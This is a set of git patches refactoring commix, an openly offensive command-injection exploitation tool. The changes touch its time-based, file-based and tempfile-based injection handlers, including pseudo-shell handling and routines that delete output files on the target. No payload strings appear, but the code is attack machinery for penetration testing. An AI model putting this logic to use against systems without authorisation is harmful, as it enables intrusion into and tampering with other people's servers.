12f73ca39d..b17ce34ad8 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -397,71 +397,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r settings.FILE_BASED_STATE = True found = True no_result = False - # Check injection state - settings.DETECTION_PHASE = False - settings.EXPLOITATION_PHASE = True - if not settings.VERBOSITY_LEVEL != 0 and \ - not menu.options.alter_shell and \ - not next_attack_vector: - next_attack_vector = True - - if settings.COOKIE_INJECTION == True: - header_name = settings.SINGLE_WHITESPACE + settings.COOKIE - found_vuln_parameter = vuln_parameter - the_type = " parameter" - - elif settings.USER_AGENT_INJECTION == True: - header_name = settings.SINGLE_WHITESPACE + settings.USER_AGENT - found_vuln_parameter = "" - the_type = " HTTP header" - - elif settings.REFERER_INJECTION == True: - header_name = settings.SINGLE_WHITESPACE + settings.REFERER - found_vuln_parameter = "" - the_type = " HTTP header" - - elif settings.HOST_INJECTION == True: - header_name = settings.SINGLE_WHITESPACE + settings.HOST - found_vuln_parameter = "" - the_type = " HTTP header" - - elif settings.CUSTOM_HEADER_INJECTION == True: - header_name = settings.SINGLE_WHITESPACE + settings.CUSTOM_HEADER_NAME - found_vuln_parameter = "" - the_type = " HTTP header" - - else: - header_name = "" - the_type = " parameter" - # Check if defined POST data - if not settings.USER_DEFINED_POST_DATA or settings.IGNORE_USER_DEFINED_POST_DATA: - found_vuln_parameter = parameters.vuln_GET_param(url) - else : - found_vuln_parameter = vuln_parameter - - if len(found_vuln_parameter) != 0 : - found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" - - # Print the findings to log file. - if export_injection_info == False: - export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique) - if vp_flag == True: - vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) - logs.update_payload(filename, counter, payload) - counter = counter + 1 - - if not settings.LOAD_SESSION: - if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) - else: - checks.total_of_requests() - - # Print the findings to terminal. - info_msg = settings.CHECKING_PARAMETER + " appears to be injectable via " - info_msg += "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." - print(settings.print_bold_info_msg(info_msg)) - sub_content = str(checks.url_decode(payload)) - print(settings.print_sub_content(sub_content)) + checks.identified_vulnerable_param(url, technique, injection_type, vuln_parameter, payload, http_request_method, filename, export_injection_info, vp_flag, counter) # Export session if not settings.LOAD_SESSION: session_handler.injection_point_importation(url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, how_long=0, output_length=0, is_vulnerable=menu.options.level) diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index 7048f5a25c..b20a968d93 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -344,71 +344,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, found = True no_result = False - # Check injection state - settings.DETECTION_PHASE = False - settings.EXPLOITATION_PHASE = True - if settings.LOAD_SESSION: - if whitespace == "%20": - whitespace = settings.SINGLE_WHITESPACE - possibly_vulnerable = False - - if settings.COOKIE_INJECTION == True: - header_name = settings.SINGLE_WHITESPACE + settings.COOKIE - found_vuln_parameter = vuln_parameter - the_type = " parameter" - - elif settings.USER_AGENT_INJECTION == True: - header_name = settings.SINGLE_WHITESPACE + settings.USER_AGENT - found_vuln_parameter = "" - the_type = " HTTP header" - - elif settings.REFERER_INJECTION == True: - header_name = settings.SINGLE_WHITESPACE + settings.REFERER - found_vuln_parameter = "" - the_type = " HTTP header" - - elif settings.HOST_INJECTION == True: - header_name = settings.SINGLE_WHITESPACE + settings.HOST - found_vuln_parameter = "" - the_type = " HTTP header" - - elif settings.CUSTOM_HEADER_INJECTION == True: - header_name = settings.SINGLE_WHITESPACE + settings.CUSTOM_HEADER_NAME - found_vuln_parameter = "" - the_type = " HTTP header" - - else: - header_name = "" - the_type = " parameter" - # Check if defined POST data - if not settings.USER_DEFINED_POST_DATA or settings.IGNORE_USER_DEFINED_POST_DATA: - found_vuln_parameter = parameters.vuln_GET_param(url) - else : - found_vuln_parameter = vuln_parameter - - if len(found_vuln_parameter) != 0 : - found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" - - # Print the findings to log file. - if export_injection_info == False: - export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique) - if vp_flag == True: - vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) - logs.update_payload(filename, counter, payload) - counter = counter + 1 - - if not settings.LOAD_SESSION: - if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) - else: - checks.total_of_requests() - - # Print the findings to terminal. - info_msg = settings.CHECKING_PARAMETER + " appears to be injectable via " - info_msg += "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." - print(settings.print_bold_info_msg(info_msg)) - sub_content = str(checks.url_decode(payload)) - print(settings.print_sub_content(sub_content)) + checks.identified_vulnerable_param(url, technique, injection_type, vuln_parameter, payload, http_request_method, filename, export_injection_info, vp_flag, counter) # Export session if not settings.LOAD_SESSION: shell = "" diff --git a/src/utils/settings.py b/src/utils/settings.py index fbc471581b..c39efab995 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "58" +REVISION = "59" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 794c1d7591218231ec86c2ffd1da2cfa694ad4ea Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 3 Jun 2024 09:00:14 +0300 Subject: [PATCH 0456/1023] Additional code refactoring (commit: https://github.com/commixproject/commix/commit/3d700ca9fc6f754fba5f7716d6c3fce7762ea479) --- .../blind/techniques/time_based/tb_handler.py | 42 ++++--------------- src/core/injections/controller/checks.py | 34 +++++++++++++++ .../techniques/file_based/fb_handler.py | 2 +- .../techniques/tempfile_based/tfb_handler.py | 33 ++------------- src/utils/settings.py | 2 +- 5 files changed, 48 insertions(+), 65 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index c677a9cfa8..e4e9e6d5f0 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -180,10 +180,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r else: percent = "" else: - if (url_time_response == 0 and (how_long - timesec) >= 0) or \ - (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ - (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) : - + if checks.time_relative_shell(url_time_response, how_long, timesec): # Time relative false positive fixation. false_positive_fixation = False if len(TAG) == output_length: @@ -202,25 +199,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r # Identified false positive warning message. if false_positive_warning: - message = "Unexpected time delays have been identified due to unstable " - message += "requests. This behavior may lead to false positive results. " - sys.stdout.write("\r") - while True: - message = message + "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " - proceed_option = common.read_input(message, default="C", check_batch=True) - if proceed_option.lower() in settings.CHOICE_PROCEED : - if proceed_option.lower() == "s": - false_positive_fixation = False - raise - elif proceed_option.lower() == "c": - timesec = timesec + 1 - false_positive_fixation = True - break - elif proceed_option.lower() == "q": - raise SystemExit() - else: - common.invalid_option(proceed_option) - pass + timesec, false_positive_fixation = checks.time_delay_due_to_unstable_request(timesec) if settings.VERBOSITY_LEVEL == 0: percent = ".. (" + str(float_percent) + "%)" @@ -252,10 +231,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r # Check for false positive resutls how_long, output = tb_injector.false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timesec, http_request_method, url, vuln_parameter, randvcalc, alter_shell, how_long, url_time_response, false_positive_warning) - if (url_time_response == 0 and (how_long - timesec) >= 0) or \ - (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ - (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) : - + if checks.time_relative_shell(url_time_response, how_long, timesec) : if str(output) == str(randvcalc) and len(TAG) == output_length: possibly_vulnerable = True how_long_statistic = 0 @@ -309,9 +285,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r # Yaw, got shellz! # Do some magic tricks! - if (url_time_response == 0 and (how_long - timesec) >= 0) or \ - (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ - (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) : + if checks.time_relative_shell(url_time_response, how_long, timesec): if (len(TAG) == output_length) and \ (possibly_vulnerable == True or settings.LOAD_SESSION and int(is_vulnerable) == menu.options.level): @@ -440,12 +414,12 @@ def exploitation(url, timesec, filename, http_request_method, url_time_response, message = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " proceed_option = common.read_input(message, default="C", check_batch=True) if proceed_option.lower() in settings.CHOICE_PROCEED : - if proceed_option.lower() == "s": - from src.core.injections.semiblind.techniques.file_based import fb_handler - fb_handler.exploitation(url, timesec, filename, http_request_method, url_time_response, injection_type, technique) - elif proceed_option.lower() == "c": + if proceed_option.lower() == "c": if tb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique) == False: return False + elif proceed_option.lower() == "s": + from src.core.injections.semiblind.techniques.file_based import fb_handler + fb_handler.exploitation(url, timesec, filename, http_request_method, url_time_response, injection_type, technique) elif proceed_option.lower() == "q": raise SystemExit() else: diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 16a5541470..4d2b0011a1 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1178,6 +1178,40 @@ def time_delay_recommendation(): warn_msg += "recommended to enable the 'reverse_tcp' option.\n" sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) +""" +Message regarding unexpected time delays due to unstable requests +""" +def time_delay_due_to_unstable_request(timesec): + message = "Unexpected time delays have been identified due to unstable " + message += "requests. This behavior may lead to false-positive results. " + sys.stdout.write("\r") + while True: + message = message + "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " + proceed_option = common.read_input(message, default="C", check_batch=True) + if proceed_option.lower() in settings.CHOICE_PROCEED : + if proceed_option.lower() == "c": + timesec = timesec + 1 + false_positive_fixation = True + return timesec, false_positive_fixation + elif proceed_option.lower() == "s": + false_positive_fixation = False + return timesec, false_positive_fixation + elif proceed_option.lower() == "q": + raise SystemExit() + else: + common.invalid_option(proceed_option) + pass + +""" +""" +def time_relative_shell(url_time_response, how_long, timesec): + if (url_time_response == 0 and (how_long - timesec) >= 0) or \ + (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ + (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)): + return True + else: + return False + """ Message regarding time relative attcks """ diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index b17ce34ad8..6cf401bc22 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -43,7 +43,7 @@ """ """ -Check ff temp-based technique has failed, +Check if file-based technique has failed, then use the "/tmp/" directory for tempfile-based technique. """ def tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response): diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index b20a968d93..420a5f5323 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -198,9 +198,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, else: percent = "" else: - if (url_time_response == 0 and (how_long - timesec) >= 0) or \ - (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ - (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) : + if checks.time_relative_shell(url_time_response, how_long, timesec): # Time relative false positive fixation. false_positive_fixation = False @@ -220,25 +218,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, # Identified false positive warning message. if false_positive_warning: - message = "Unexpected time delays have been identified due to unstable " - message += "requests. This behavior may lead to false-positive results. " - sys.stdout.write("\r") - while True: - message = message + "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " - proceed_option = common.read_input(message, default="C", check_batch=True) - if proceed_option.lower() in settings.CHOICE_PROCEED : - if proceed_option.lower() == "s": - false_positive_fixation = False - raise - elif proceed_option.lower() == "c": - timesec = timesec + 1 - false_positive_fixation = True - break - elif proceed_option.lower() == "q": - raise SystemExit() - else: - common.invalid_option(proceed_option) - pass + timesec, false_positive_fixation = checks.time_delay_due_to_unstable_request(timesec) if settings.VERBOSITY_LEVEL == 0: percent = ".. (" + str(float_percent) + "%)" @@ -270,10 +250,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, # Check for false positive resutls how_long, output = tfb_injector.false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, how_long, url_time_response, false_positive_warning) - if (url_time_response == 0 and (how_long - timesec) >= 0) or \ - (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ - (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) : - + if checks.time_relative_shell(url_time_response, how_long, timesec): if str(output) == str(randvcalc) and len(TAG) == output_length: possibly_vulnerable = True how_long_statistic = 0 @@ -335,9 +312,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, # Yaw, got shellz! # Do some magic tricks! - if (url_time_response == 0 and (how_long - timesec) >= 0) or \ - (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ - (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) : + if checks.time_relative_shell(url_time_response, how_long, timesec): if (len(TAG) == output_length) and \ (possibly_vulnerable == True or settings.LOAD_SESSION and int(is_vulnerable) == menu.options.level): diff --git a/src/utils/settings.py b/src/utils/settings.py index c39efab995..72707090b4 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "59" +REVISION = "60" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From c9960449a5cc1fbdb2d5df817702f8e2713fb6ec Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 4 Jun 2024 07:08:46 +0300 Subject: [PATCH 0457/1023] Minor code refactoring --- .../techniques/file_based/fb_handler.py | 9 +++++- .../tempfile_based/tfb_enumeration.py | 2 +- .../tempfile_based/tfb_file_access.py | 2 +- .../techniques/tempfile_based/tfb_handler.py | 31 +++++++------------ src/utils/settings.py | 2 +- 5 files changed, 23 insertions(+), 23 deletions(-) diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index 6cf401bc22..8e55f4f4f5 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -64,15 +64,22 @@ def tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_met Delete previous shells outputs. """ def delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - if settings.FILE_BASED_STATE != None: + if settings.FILE_BASED_STATE != None or settings.TEMPFILE_BASED_STATE != None: if settings.VERBOSITY_LEVEL != 0: debug_msg = "Cleaning up the target operating system (i.e. deleting file '" + OUTPUT_TEXTFILE + "')." print(settings.print_debug_msg(debug_msg)) + if settings.FILE_BASED_STATE != None: if settings.TARGET_OS == settings.OS.WINDOWS: cmd = settings.WIN_DEL + settings.WEB_ROOT + OUTPUT_TEXTFILE else: cmd = settings.DEL + settings.WEB_ROOT + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + settings.COMMENT response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + elif settings.TEMPFILE_BASED_STATE != None: + if settings.TARGET_OS == settings.OS.WINDOWS: + cmd = settings.WIN_DEL + OUTPUT_TEXTFILE + else: + cmd = settings.DEL + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + settings.COMMENT + response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) """ Provide custom server's root directory diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py index 344359b65c..fe47b9ecec 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py @@ -287,7 +287,7 @@ def stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, time break elif enumerate_again in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) from temp. - tfb_injector.delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + tfb_injector.delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise SystemExit() else: common.invalid_option(enumerate_again) diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py index b932d43193..c1c50d80d7 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py @@ -135,7 +135,7 @@ def stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, time break elif file_access_again in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) from temp. - tfb_injector.delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + tfb_injector.delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise SystemExit() else: common.invalid_option(file_access_again) diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index 420a5f5323..5140234253 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -34,7 +34,7 @@ from src.thirdparty.six.moves import urllib as _urllib from src.core.injections.controller import shell_options from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.injections.semiblind.techniques.file_based import fb_injector +from src.core.injections.semiblind.techniques.file_based import fb_handler from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector from src.core.injections.semiblind.techniques.tempfile_based import tfb_payloads from src.core.injections.semiblind.techniques.tempfile_based import tfb_enumeration @@ -48,15 +48,8 @@ """ Delete previous shells outputs. """ -def delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Cleaning up the target operating system (i.e. deleting file '" + OUTPUT_TEXTFILE + "')." - print(settings.print_debug_msg(debug_msg)) - if settings.TARGET_OS == settings.OS.WINDOWS: - cmd = settings.WIN_DEL + OUTPUT_TEXTFILE - else: - cmd = settings.DEL + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + settings.COMMENT - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) +def delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): + fb_handler.delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) """ The "tempfile-based" injection technique handler @@ -277,7 +270,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, if 'cmd' in locals(): # Delete previous shell (text) files (output) from temp. # print(settings.SINGLE_WHITESPACE) - delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except EOFError: @@ -287,7 +280,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, print(settings.print_error_msg(err_msg)) if 'cmd' in locals(): # Delete previous shell (text) files (output) from temp. - delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except: @@ -329,7 +322,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, settings.LOAD_SESSION = False # Delete previous shell (text) files (output) from temp. - delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) if settings.TARGET_OS == settings.OS.WINDOWS: time.sleep(1) @@ -343,7 +336,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, check_how_long, output = tfb_enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) # Export injection result if len(output) > 1: - delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) # Pseudo-Terminal shell try: @@ -374,7 +367,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, if cmd.lower() in settings.SHELL_OPTIONS: if cmd.lower() == "quit" or cmd.lower() == "exit": # Delete previous shell (text) files (output) from temp. - delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise SystemExit() go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="") if go_back and go_back_again == False: @@ -404,11 +397,11 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, return False else: # Delete previous shell (text) files (output) from temp. - delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) return True elif gotshell in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) from temp. - delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise SystemExit() else: common.invalid_option(gotshell) @@ -416,7 +409,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, except (KeyboardInterrupt, SystemExit): # Delete previous shell (text) files (output) from temp. - delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) sys.stdout.write("\r") raise @@ -426,7 +419,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, err_msg = "Exiting, due to EOFError." print(settings.print_error_msg(err_msg)) # Delete previous shell (text) files (output) from temp. - delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) sys.stdout.write("\r") raise diff --git a/src/utils/settings.py b/src/utils/settings.py index 72707090b4..63e3278c96 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "60" +REVISION = "61" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From eab1a66e5b32de1a1beaaef1fe2e041c851d1daa Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 5 Jun 2024 07:16:03 +0300 Subject: [PATCH 0458/1023] Minor update --- .../techniques/file_based/fb_handler.py | 46 +++++++++++-------- src/utils/settings.py | 4 +- 2 files changed, 30 insertions(+), 20 deletions(-) diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index 8e55f4f4f5..6d045605ac 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -95,13 +95,28 @@ def custom_web_root(url, timesec, filename, http_request_method, url_time_respon settings.WEB_ROOT = common.read_input(message, default=default_root_dir, check_batch=True) if len(settings.WEB_ROOT) == 0: settings.WEB_ROOT = default_root_dir - menu.options.web_root = settings.WEB_ROOT.strip() settings.CUSTOM_WEB_ROOT = True + if not settings.LOAD_SESSION: + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Using '" + settings.WEB_ROOT + "' for writable directory." + print(settings.print_debug_msg(debug_msg)) + info_msg = "Trying to create a file in directory '" + settings.WEB_ROOT + info_msg += "' for command execution output. " + print(settings.print_info_msg(info_msg)) + + menu.options.web_root = settings.WEB_ROOT.strip() + """ Return TEMP path for win / *nix targets. """ def check_tmp_path(url, timesec, filename, http_request_method, url_time_response): + def check_trailing_slashes(): + if settings.TARGET_OS == settings.OS.WINDOWS and not menu.options.web_root.endswith("\\"): + menu.options.web_root = settings.WEB_ROOT = menu.options.web_root + "\\" + elif not menu.options.web_root.endswith("/"): + menu.options.web_root = settings.WEB_ROOT = menu.options.web_root + "/" + # Set temp path if settings.TARGET_OS == settings.OS.WINDOWS: if "microsoft-iis" in settings.SERVER_BANNER.lower(): @@ -116,17 +131,13 @@ def check_tmp_path(url, timesec, filename, http_request_method, url_time_respons else: tmp_path = settings.TMP_PATH - if settings.DEFAULT_WEB_ROOT != settings.WEB_ROOT: + if not settings.LOAD_SESSION and settings.DEFAULT_WEB_ROOT != settings.WEB_ROOT: settings.WEB_ROOT = settings.DEFAULT_WEB_ROOT if menu.options.file_dest and '/tmp/' in menu.options.file_dest: call_tmp_based = True if menu.options.web_root: - if settings.TARGET_OS == settings.OS.WINDOWS and not menu.options.web_root.endswith("\\"): - menu.options.web_root = menu.options.web_root + "\\" - elif not menu.options.web_root.endswith("/"): - menu.options.web_root = menu.options.web_root + "/" settings.WEB_ROOT = menu.options.web_root else: # Provide custom server's root directory. @@ -135,6 +146,8 @@ def check_tmp_path(url, timesec, filename, http_request_method, url_time_respons if settings.TARGET_OS == settings.OS.WINDOWS: settings.WEB_ROOT = settings.WEB_ROOT.replace("/","\\") + check_trailing_slashes() + return tmp_path @@ -171,18 +184,9 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r next_attack_vector = False export_injection_info = False - tmp_path = check_tmp_path(url, timesec, filename, http_request_method, url_time_response) - - if not settings.LOAD_SESSION or settings.RETEST == True: + if not settings.LOAD_SESSION: + tmp_path = check_tmp_path(url, timesec, filename, http_request_method, url_time_response) TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Using '" + settings.WEB_ROOT + "' for writable directory." - print(settings.print_debug_msg(debug_msg)) - info_msg = "Trying to create a file in directory '" + settings.WEB_ROOT - info_msg += "' for command 